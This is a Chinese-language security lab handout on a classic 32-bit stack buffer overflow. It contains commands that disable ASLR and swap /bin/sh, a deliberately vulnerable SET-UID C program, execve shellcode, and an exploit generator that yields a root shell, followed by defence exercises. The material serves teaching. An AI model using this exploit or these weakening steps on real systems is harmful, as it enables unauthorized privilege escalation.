1. 程式人生 > 其它 >實驗七-緩衝區溢位

實驗七-緩衝區溢位

1. 實驗指導書內容

一、實驗簡介

緩衝區溢位是指程式試圖向緩衝區寫入超出預分配固定長度資料的情況。這一漏洞可以被惡意使用者利用來改變程式的流控制,甚至執行程式碼的任意片段。這一漏洞的出現是由於資料緩衝器和返回地址的暫時關閉,溢位會引起返回地址被重寫。

二、實驗準備

系統使用者名稱 shiyanlou

實驗樓提供的是 64 位 Ubuntu linux,而本次實驗為了方便觀察彙編語句,我們需要在 32 位環境下作操作,因此實驗之前需要做一些準備。

輸入命令安裝一些用於編譯 32 位 C 程式的軟體包:

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

三、實驗步驟

3.1 初始設定

1、Ubuntu 和其他一些 Linux 系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜測準確的記憶體地址變得十分困難,而猜測記憶體地址是緩衝區溢位攻擊的關鍵。因此本次實驗中,我們使用以下命令關閉這一功能:
sudo sysctl -w kernel.randomize_va_space=0
圖片描述

2、此外,為了進一步防範緩衝區溢位攻擊及其它利用 shell 程式的攻擊,許多shell程式在被呼叫時自動放棄它們的特權。因此,即使你能欺騙一個 Set-UID 程式呼叫一個 shell,也不能在這個 shell 中保持 root 許可權,這個防護措施在 /bin/bash 中實現。

linux 系統中,/bin/sh 實際是指向 /bin/bash 或 /bin/dash 的一個符號連結。為了重現這一防護措施被實現之前的情形,我們使用另一個 shell 程式(zsh)代替 /bin/bash。下面的指令描述瞭如何設定 zsh 程式:

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

3、輸入命令 linux32 進入32位linux環境。此時你會發現,命令列用起來沒那麼爽了,比如不能tab補全了,輸入 /bin/bash 使用bash:

3.2 shellcode

一般情況下,緩衝區溢位會造成程式崩潰,在程式中,溢位的資料覆蓋了返回地址。而如果覆蓋返回地址的資料是另一個地址,那麼程式就會跳轉到該地址,如果該地址存放的是一段精心設計的程式碼用於實現其他功能,這段程式碼就是 shellcode。

觀察以下程式碼:

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

本次實驗的 shellcode,就是剛才程式碼的彙編版本:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3 漏洞程式

在 /tmp 目錄下新建一個 stack.c 檔案:

cd /tmp
vim stack.c

按 i 鍵切換到插入模式,再輸入如下內容:

複製程式碼如果出現縮排混亂可先在 Vim 執行 :set paste 再按 i 鍵編輯。

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

通過程式碼可以知道,程式會讀取一個名為“badfile”的檔案,並將檔案內容裝入“buffer”。

編譯該程式,並設定 SET-UID。命令如下:

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

GCC編譯器有一種棧保護機制來阻止緩衝區溢位,所以我們在編譯程式碼時需要用 –fno-stack-protector 關閉這種機制。 而 -z execstack 用於允許執行棧。

-g 引數是為了使編譯後得到的可執行文件能用 gdb 除錯。

3.4 攻擊程式

我們的目的是攻擊剛才的漏洞程式,並通過攻擊獲得 root 許可權。

在 /tmp 目錄下新建一個 exploit.c 檔案,輸入如下內容:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移處起始的四個位元組覆蓋sellcode地址  
    strcpy(buffer + 100, shellcode);   //將shellcode拷貝至buffer,偏移量設為了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

或者也可以直接下載程式碼:
wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c
注意上面的程式碼,\x??\x??\x??\x?? 處需要添上 shellcode 儲存在記憶體中的地址,因為發生溢位後這個位置剛好可以覆蓋返回地址。而 strcpy(buffer+100,shellcode); 這一句又告訴我們,shellcode 儲存在 buffer + 100 的位置。下面我們將詳細介紹如何獲得我們需要新增的地址。

現在我們要得到 shellcode 在記憶體中的地址,輸入命令進入 gdb 除錯:

gdb stack
disass main
copy

結果如圖:

esp 中就是 str 的起始地址,所以我們在地址 0x080484ee 處設定斷點。

地址可能不一致,請根據你的顯示結果自行修改。

接下來的操作:
設定斷點
b *0x080484ee
r
i r $esp

最後獲得的這個 0xffffcfb0 就是 str 的地址。

按 q 鍵,再按 y 鍵可退出除錯。

根據語句 strcpy(buffer + 100,shellcode); 我們計算 shellcode 的地址為 0xffffcfb0 + 0x64 = 0xffffd014

實際操作中你的地址和我這裡的地址可能不一樣,需要根據你實際輸出的結果來計算。

可以使用 十六進位制加法計算器 計算。

現在修改 exploit.c 檔案,將 \x??\x??\x??\x?? 修改為計算的結果 \x14\xd0\xff\xff,注意順序是反的。

然後,編譯 exploit.c 程式:
gcc -m32 -o exploit exploit.c

3.5 攻擊結果

先執行攻擊程式 exploit,再執行漏洞程式 stack,觀察結果:

whoami 是輸入的命令,不是輸出結果。

可見,通過攻擊,獲得了root 許可權!

如果不能攻擊成功,提示”段錯誤“,那麼請重新使用 gdb 反彙編,計算記憶體地址。

四、練習

1、按照實驗步驟進行操作,攻擊漏洞程式並獲得 root 許可權。

2、通過命令 sudo sysctl -w kernel.randomize_va_space=2 開啟系統的地址空間隨機化機制,重複用 exploit 程式攻擊 stack 程式,觀察能否攻擊成功,能否獲得root許可權。

3、將 /bin/sh 重新指向 /bin/bash(或/bin/dash),觀察能否攻擊成功,能否獲得 root 許可權。

以上練習請在實驗樓環境完成並截圖。

2. 緩衝區溢位的原理

通過往程式的緩衝區寫超出其長度的內容,造成緩衝區的溢位,從而破壞程式的堆疊 ,造成程式崩潰或使程式轉而執行其它指令,以達到攻擊的目的。

3. 緩衝區溢位的防範

1.編寫正確的程式碼
2.非執行的緩衝區
3.陣列邊界檢查
4.程式指標完整性檢查